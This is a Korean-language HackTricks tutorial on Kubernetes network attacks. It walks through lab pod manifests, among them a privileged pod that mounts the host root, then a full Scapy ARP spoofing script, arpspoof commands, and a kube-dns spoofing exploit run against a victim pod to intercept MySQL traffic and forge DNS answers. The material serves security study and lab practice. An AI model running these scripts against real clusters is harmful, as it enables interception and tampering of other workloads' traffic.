Kubernetes Network Attacks

Support HackTricks

Introduction

Kubernetes에서는 기본 동작이 같은 노드에 있는 모든 컨테이너 간의 연결을 허용하는 것으로 관찰됩니다. 이는 네임스페이스 구분에 관계없이 적용됩니다. 이러한 연결성은 Layer 2 (이더넷)까지 확장됩니다. 결과적으로, 이 구성은 시스템을 취약점에 노출시킬 수 있습니다. 특히, 악의적인 컨테이너가 같은 노드에 위치한 다른 컨테이너에 대해 ARP 스푸핑 공격을 실행할 가능성을 열어줍니다. 이러한 공격 중에 악의적인 컨테이너는 다른 컨테이너를 위한 네트워크 트래픽을 속여 가로채거나 수정할 수 있습니다.

ARP 스푸핑 공격은 공격자가 지역 네트워크를 통해 위조된 ARP (주소 확인 프로토콜) 메시지를 전송하는 것을 포함합니다. 이로 인해 공격자의 MAC 주소가 네트워크의 합법적인 컴퓨터 또는 서버의 IP 주소와 연결됩니다. 이러한 공격이 성공적으로 실행된 후, 공격자는 전송 중인 데이터를 가로채거나 수정하거나 심지어 중단할 수 있습니다. 이 공격은 OSI 모델의 Layer 2에서 실행되므로, Kubernetes에서 이 레이어의 기본 연결성이 보안 문제를 제기합니다.

4대의 머신이 생성될 시나리오는 다음과 같습니다:

  • ubuntu-pe: 노드로 탈출하고 메트릭을 확인하기 위한 권한 있는 머신 (공격에 필요하지 않음)

  • ubuntu-attack: 악의적인 컨테이너, 기본 네임스페이스에 위치

  • ubuntu-victim: 희생자 머신, kube-system 네임스페이스에 위치

  • mysql: 희생자 머신, 기본 네임스페이스에 위치

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

기본 Kubernetes 네트워킹

여기서 소개된 네트워킹 주제에 대한 더 많은 세부정보는 참조를 확인하세요.

ARP

일반적으로 노드 내의 pod-to-pod 네트워킹은 모든 pod를 연결하는 브리지를 통해 가능합니다. 이 브리지는 “cbr0”라고 불립니다. (일부 네트워크 플러그인은 자체 브리지를 설치합니다.) cbr0는 ARP (주소 확인 프로토콜) 해상도도 처리할 수 있습니다. 들어오는 패킷이 cbr0에 도착하면 ARP를 사용하여 목적지 MAC 주소를 확인할 수 있습니다.

이 사실은 기본적으로 같은 노드에서 실행되는 모든 pod같은 노드의 다른 pod와 통신할 수 있다는 것을 의미합니다 (네임스페이스와 관계없이) 이더넷 수준(계층 2)에서.

따라서 같은 노드의 pod 간에 ARP 스푸핑 공격을 수행할 수 있습니다.

DNS

Kubernetes 환경에서는 일반적으로 kube-system 네임스페이스에서 1개(또는 그 이상)의 DNS 서비스가 실행되고 있습니다:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

이전 정보에서 흥미로운 점을 볼 수 있습니다. 서비스의 IP10.96.0.10이지만 서비스를 실행하는 포드의 IP172.17.0.2입니다.

어떤 포드 안에서 DNS 주소를 확인하면 다음과 같은 내용을 찾을 수 있습니다:

cat /etc/resolv.conf
nameserver 10.96.0.10

그러나 pod는주소에 어떻게 가야 할지 모릅니다. 이 경우 pod 범위는 172.17.0.10/26입니다.

따라서 pod는 10.96.0.10 주소로 DNS 요청을 보낼 것입니다, 이는 cbr0에 의해 172.17.0.2로 변환됩니다.

이는 pod의 DNS 요청항상 브리지를 통해 서비스 IP를 엔드포인트 IP로 변환하기 위해 간다는 것을 의미합니다. DNS 서버가 pod와 같은 서브네트워크에 있더라도 말입니다.

이 사실을 알고, ARP 공격이 가능하다는 것을 알면, 노드의 pod서브네트워크 내의 각 pod브리지 간의 트래픽을 가로챌 수 있으며, DNS 서버로부터의 DNS 응답을 수정할 수 있습니다 (DNS 스푸핑).

게다가, DNS 서버공격자와 같은 노드에 있다면, 공격자는 클러스터 내의 어떤 pod의 모든 DNS 요청을 가로챌 수 있으며 (DNS 서버와 브리지 간), 응답을 수정할 수 있습니다.

같은 노드의 pods에서 ARP 스푸핑

우리의 목표는 ubuntu-victim에서 mysql로의 통신을 최소한 훔치는 것입니다.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

이미 언급했듯이, 만약 당신이 DNS 서버 포드와 같은 노드에 있는 포드를 손상시키면, 당신은 ARPSpoofing을 사용하여 브리지와 DNS 포드 간에 MitM을 수행하고 모든 DNS 응답을 수정할 수 있습니다.

당신은 https://github.com/danielsagi/kube-dnsspoof/에서 이를 테스트할 수 있는 정말 멋진 도구튜토리얼을 가지고 있습니다.

우리의 시나리오에서는, 공격자 포드도구다운로드하고 스푸핑하려는 도메인으로 **hosts라는 이름의 파일을 생성**합니다:

cat hosts
google.com. 1.1.1.1

ubuntu-victim 머신에 공격을 수행합니다:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

자신만의 DNS 스푸핑 스크립트를 만들려고 할 경우, DNS 응답을 수정하는 것만으로는 작동하지 않습니다, 왜냐하면 응답악성 포드src IP 주소를 가지게 되어 수락되지 않기 때문입니다. 피해자가 DNS 요청을 보낸 DNS의 src IP새로운 DNS 패킷을 생성해야 합니다 (이는 172.16.0.2와 같은 것이며, 10.96.0.10은 K8s DNS 서비스 IP이고 DNS 서버 IP가 아닙니다. 이에 대한 자세한 내용은 소개에서 다룹니다).

트래픽 캡처

도구 Mizu는 Kubernetes를 위한 간단하면서도 강력한 API 트래픽 뷰어로, 마이크로서비스 간의 모든 API 통신을 볼 수 있게 하여 디버그 및 회귀 문제 해결에 도움을 줍니다. 선택한 포드에 에이전트를 설치하고 그들의 트래픽 정보를 수집하여 웹 서버에 표시합니다. 그러나 이를 위해서는 높은 K8s 권한이 필요하며 (그리고 매우 은밀하지는 않습니다).

참고자료

HackTricks 지원하기

Last updated